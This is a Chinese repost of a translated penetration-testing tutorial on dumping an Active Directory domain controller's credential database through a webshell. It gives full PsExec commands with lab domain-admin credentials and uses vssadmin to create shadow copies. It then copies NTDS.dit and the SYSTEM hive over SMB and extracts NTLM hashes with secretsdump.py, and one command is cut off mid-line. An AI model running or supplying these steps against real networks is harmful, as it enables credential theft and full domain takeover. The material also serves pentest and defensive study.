通过webshell导出域控ntds.dit文件

2019-04-04 约 2937 字 预计阅读 6 分钟

声明:本文 【通过webshell导出域控ntds.dit文件】 由作者 SoftNight 于 2018-12-21 09:15:00 首发 先知社区 曾经 浏览数 3072 次

感谢 SoftNight 的辛苦付出!

原文:
https://mannulinux.blogspot.com/2018/12/remotely-dump-active-directory-domain.html

大家好,本文我想给大家分享一些关于“Windows活动目录(AD)”环境相关的内容。我会给大家演示如何只使用webshell来dump Windows活动目录用户数据库。

在渗透测试期间,通常会有这样的情况,渗透测试员拿到了域管理员的用户凭证,并且获得了其中一台主机的webshell,而这台主机连接到了Windows活动目录林。渗透测试员尝试得到反向shell,但是因为某些原因一直拿不下(比如说有网络防火墙做了策略),但是渗透测试员的目的是dump AD用户数据库,也就是AD环境下的用户和NTLM密码哈希值。

在测试期间我也遇到过相同的问题(没有公网IP服务器),于是我对这个问题进行了一番研究,并找到了一种办法来解决上述问题,实现了在拿到AD域管理员后,只是用webshell来dump用户名和NTLM密码哈希值。

假如现在环境如下:

  • AD域控主机(queen.DC1.indishell.lab-192.168.56.200)
  • 被入侵的Windows主机-连接到AD(LABONE-192.168.56.101)
  • 成功获得WindowsAD域admin用户(可以使用任何exp,这里我使用的是经典的MS14-025来获得域管理员用户名和密码的)

现在我已经获得了Windows主机的webshell,该主机连接到域,也就是LABONE,IP地址是192.168.56.101,我获得的用户名是“user1”,密码是“ica_1046”。

在这个例子中,我会用到两个二进制文件:

  1. Psexec.exe->Windows内网工具
  2. Vssadmin->用户创建/删除Windows驱动器卷影副本的命令

不管怎样,如果我们能够在AD域控主机上执行“vssadmin”命令,这条命令会生成“C”盘的卷影副本,从卷影副本中,我们可以复制AD域控主机上的“ntds.dit”和“SYSTEM”文件。

为了完成上面提到的任务,我们将会用到“psexec.exe”,这个可执行文件能够在远程Windows主机上执行命令,只要我们指定目标主机IP地址,域管理员用户名和密码,并且加上“elevated”参数(指定-h)。我们需要通过webshell来上传psexec.exe文件到Windows主机LABONE上。通过webshell,我们将指定AD域控主机IP地址,域管理员用户名和密码以及“vssadmin”命令。这个psexec会远程在Windows AD域控上执行vssadmin命令。在创建了C盘的卷影拷贝之后,我们就需要从该主机的卷影拷贝中复制“ntds.dit”和“SYSTEM”文件了,也就是我们拿到webshell的Windows域主机LABONE。这个任务也可以通过psexec来完成,我们只需要指定目标AD域控主机IP,域管理员用户名和密码以及copy命令,我们在其中指定“copy command, please copy the ndts.dit and SYSTEM file from shadow copy to LABONE machine using SMB(复制命令,请使用SMB复制LABONE主机卷影拷贝中的ntds.dit文件和SYSTEM文件)”。我会将文件复制到LABONE主机中psexec文件所在的目录。

使用psexec在远程主机上执行命令的常用命令:

psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />

在我的案例中,信息如下:

  • 远程主机IP:192.168.56.200(queen.DC1.indishell.lab)
  • user_name:user1
  • password_of_the_user:ica_1046

我get了Windows域主机LABONE的webshell,并且在该服务器中上传psexec文件:

首先,我检查一下该主机上是否有可用的C盘的卷影拷贝,列出可用卷影拷贝的命令如下:

vssadmin list shadows

不过,这里的webshell无法显示psexec在远程主机上执行命令的所有输出结果,所以我会重定向输出结果到其他地方。这里我将结果重定向到了目录“C:\xampp\htdocs\box\ps”中。
执行这个任务的命令是:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

Webshell显示psexec正在Windows AD域控主机上执行命令。如果一切顺利的话,我们会在“C:\xampp\htdocs\box\ps”目录中得到一个名为out.txt的文件,文件中的内容是“vssadmin list shadows”命令的执行结果,也就是刚才在AD域控主机上执行的命令。

现在我们来查看下out.txt文件的内容:

内容显示,目标域控主机现在还没有C盘的卷影拷贝。

那我们就来创建C盘的卷影拷贝,这样我们就可以从中窃取ntds.dit文件和SYSTEM文件了。
创建C盘卷影拷贝的命令如下:

vssadmin create shadow /for=C:

有个很重要的一点我们需要记住的是,那就是新创建的C盘卷影拷贝的名字,它会显示在命令的输出结果中,所以我们将要上面那条命令的输出结果重定向到我们已经get到webshell的主机上。
想要复制目标主机的ntds.dit文件和SYSTEM文件,我们要知道卷影拷贝的名字,最终的命令如下:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >

在上面的命令中,psexec在Windows AD域控主机上执行命令来创建C盘的卷影拷贝,并且重定向输出结果到主机LABONE下的“C\xampp\htdoc\box\ps\out.txt”文件中。

Out.txt文件中的内容会告诉我们卷影拷贝的位置:

在上面的截图中,我们可以看到,卷影拷贝名字是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
一般,ntds.dit文件和SYSTEM文件的位置如下:

  • "shadow_copy_volume_name\Windows\NTDS\NTDS.dit"
  • "shadow_copy_volume_name\Windows\System32\config\SYSTEM"

在我的例子中,这两个文件的位置也就是:

  • \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit
  • \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM

接着,我们使用下列命令来复制目标Windows AD域控上的ntds.dit文件和SYSTEM文件:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit  \\192.168.56.101\C$\xampp\htdocs\box\ps\"

这条命令将会从IP为192.168.56.200的远程主机上复制ntds.dit文件到IP为192.168.56.101的LABONE主机的“C\xampp\htdocs\box\ps\”目录中。

并且会在webshell中显示“1 file has been copied from target DC machine to my machine(一个文件已经从目标域控主机复制到我的主机中)”。我们来确认下目录“C:\xampp\htdocs\box\ps\”下是否存在ntds.dit文件。

如图可见,该文件已经复制到LABONE主机上了。

最后,使用下列命令来复制SYSTEM文件:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM  \\192.168.56.101\C$\xampp\htdocs\box\ps\"


命令成功执行,webshell显示一个文件成功复制的提示消息。还是来确认下文件是否已经复制过来,如图:

可以看到也已经存在于目录中了,现在两个文件都已经存在于LABONE这个主机上了,那我们就可以通过webshell来下载文件了。

现在我们可以使用secretsdump.py这个Python脚本来提取ntds.dit和SYSTEM文件中的域,uid,rid LM和NT哈希值了,命令如下:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

脚本跑完之后,结果如图:

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now